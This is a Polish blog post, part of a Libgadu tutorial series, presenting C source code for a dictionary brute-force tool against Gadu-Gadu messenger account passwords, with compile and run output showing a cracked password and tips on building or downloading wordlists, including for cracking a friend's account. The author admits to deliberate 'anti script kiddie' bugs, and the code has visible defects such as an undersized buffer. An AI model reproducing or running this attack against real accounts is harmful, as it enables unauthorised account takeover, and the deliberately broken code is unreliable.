Libgadu #6 – Jak złamać hasło do gadu-gadu na serwer?

Kwi 12
2010

haslo ggŁamanie lokalnego hasła GG ogranicza się jedynie do kilku kliknięć myszką. Co prawda zabieg ten trudno nazwać „łamaniem”, gdyż hasło po prostu dekoduje się korzystając z ogólnodostępnego algorytmu szyfrowania GG. Hasło to często jest identyczne z tym na serwerze.

Człowiek nie ma pamięci doskonałej. Bywa, że to hasło po prostu wyleci nam z głowy i nie mamy możliwości jego przypomnienia, bo nie znamy hasła do e-maila. Łamanie hasła lokalnego także nie wchodzi w grę, jeśli jesteśmy po formacie. Jedynym rozwiązaniem pozostaje być własnoręczne odgadnięcie hasła, bądź skorzystanie z brutusa, takiego, który pragnę Wam zademonstrować.

Brutus to połączenie dwóch znanym nam już programów wysylanie.c oraz brut.c. Do jego prawidłowego działania potrzebujemy plik tekstowy z hasłami, rozdzielonymi znakami nowej linii, np.

asia

qwerty

123456

admin123

haslo123

[…]

Program będzie działać dopóki nie złamie hasła, bądź nie dojdzie do końca pliku z hasłami.

/*
Program ma za zadanie testowac
Numer na podane w pliku hasla
Linia po linii.
 
Program powstal dla tych,
Ktorzy pamietaja swoj numer
Do komunikatora, ale nie
Pamietaja hasla ;-)
 
Zdarza sie tak, ze
Zapominamy hasla do e-maila
I nie mozemy przypomniec
Hasla z serwera :-)
 
Autor:
Komeniusz [Nie odpowiadam za uzycie tego programu!]
Licencja: GNU - edukacyjna!
 
Program testowano na:
System: Ubuntu 9.10
Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa)
 
Download Libgadu: http://toxygen.net/libgadu/
Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/
*/
//Niezbędne biblioteki
#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu :-)
 
int main(int argc, char **argv)
{
    struct gg_session *sess;
    struct gg_event *e;
    struct gg_login_params p;
 
/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
    gg_debug_level = 0;
 
/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 3) {
    fprintf(stderr, "uzycie: %s <numer> <plik z haslami>n", argv[0]);
    return 1;
}
 
/*
Deklarujemy zmienne potrzebne do
zliczenia ilosci wierszy
*/
FILE *plik;
int wiersz = 0;
char znak;
 
//Jesli nie ma pliku z haslami
if((plik = fopen(argv[2], "r")) == NULL)
{
//Informujemy o bledzie i konczymy dzialanie programu
    printf("nie mogę otworzyć pliku n");
    return 1;
}
 
//Dopoki nie dojedziemy do konca pliku
while((znak = getc(plik)) != EOF)
{
    if(znak == 'n') { //Zliczamy ilosc wierszy
        ++wiersz;
    }
}
 
/*
Odczytujemy wiersz
po wierszu z pliku
i zapisujemy wartosc
do zmiennej
*/
FILE *pFile;
int i=0;
char haslo[3];
pFile = fopen(argv[2], "r");
 
/*
Jesli nie ma pliku z haslami
Informujemy o bledzie i konczymy dzialanie programu
*/
if(pFile == NULL) {
    printf("Blad odczytu pliku");
    return 1;
} else {
/*
Jazda ;D
*/
    for(i=0;i<=wiersz-1;i++) {
        fgets(haslo, 131072, pFile);
 
//Zwalniamy pamiec
        memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer, ten sam co wczesniej
        p.uin = atoi(argv[2]);
//Zmienna pomocnicza, aby obciac enter
        char x;
//Zmienna pomocnicza = haslo z enterem
        x=strlen(haslo);
//Haslo z enterem = haslo bez entera
        haslo[x-2]='�';
 
//Deklarujemy aktualnie testowane haslo
        p.password = haslo;
 
/*
Jesli haslo sie nie zgadza
*/
        if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac,
jesli chcemy wyswietlac informacje
o haslach, ktore nie przeszly testu
*/
            printf("Bashed: -%s- n -------------------- n", haslo);
/*
Zwalnaimy pamiec
*/
            gg_free_session(sess);
		} else { //Jesli zgadlismy haslo drukujemy je
        	printf("Cracked: %s n -------------------- n", haslo);
        	return 1;
        }
 
/*
Zwalniamy pamiec
*/
        gg_logoff(sess);
        gg_free_session(sess);
    }
}
 
    return 0; //zakonczenie programu
}

Przykład działania programu

komeniusz@cyber-jadro:~/libgadu/examples$ gcc -o brutusik brutusik.c -lgadu
komeniusz@cyber-jadro:~/libgadu/examples$ ./brutusik
uzycie: ./brutusik <numer> <plik z haslami>
komeniusz@cyber-jadro:~/libgadu/examples$ ./brutusik 123456 hasla.txt
Bashed: -A-
——————–
Bashed: -A117S5-
——————–
Bashed: -A14530-
——————–
Bashed: -A1lc1u-
——————–
Bashed: -A2005K-
——————–
Bashed: -A23-
——————–
Cracked: admin
——————–
komeniusz@cyber-jadro:~/libgadu/examples$

Jak widać program złamał hasło, a jest nim słowo „admin„.

UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.

Skąd wziąć plik z hasłami?

  • Można stworzyć go samodzielnie wpisując najbardziej typowe hasła jak „qwerty„, „123456„, „haslo123„, „imie<numer>„. Hasłem często są zdrobnienia imion, więc jeśli łamiemy hasło koleżanki o imieniu Małgorzata (łamiemy jej hasło, gdyż go zapomniała i poprosiła nas o pomoc) hasłem może być „malgosia„.
  • W sieci dostępne są gotowe pliki z hasłami, wystarczy poszukać.

2 komentarzy w “Libgadu #6 – Jak złamać hasło do gadu-gadu na serwer?”

  1. Luke napisał/a:

    Bibliotekę ze sleepem włączasz, ale nie używasz 🙂

    • komeniusz napisał/a:

      Mhh… Bystrzak ;D

      Sleep’a włączyłem podczas testów i najwidoczniej zapomniałem usunąć tą bibliotekę

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *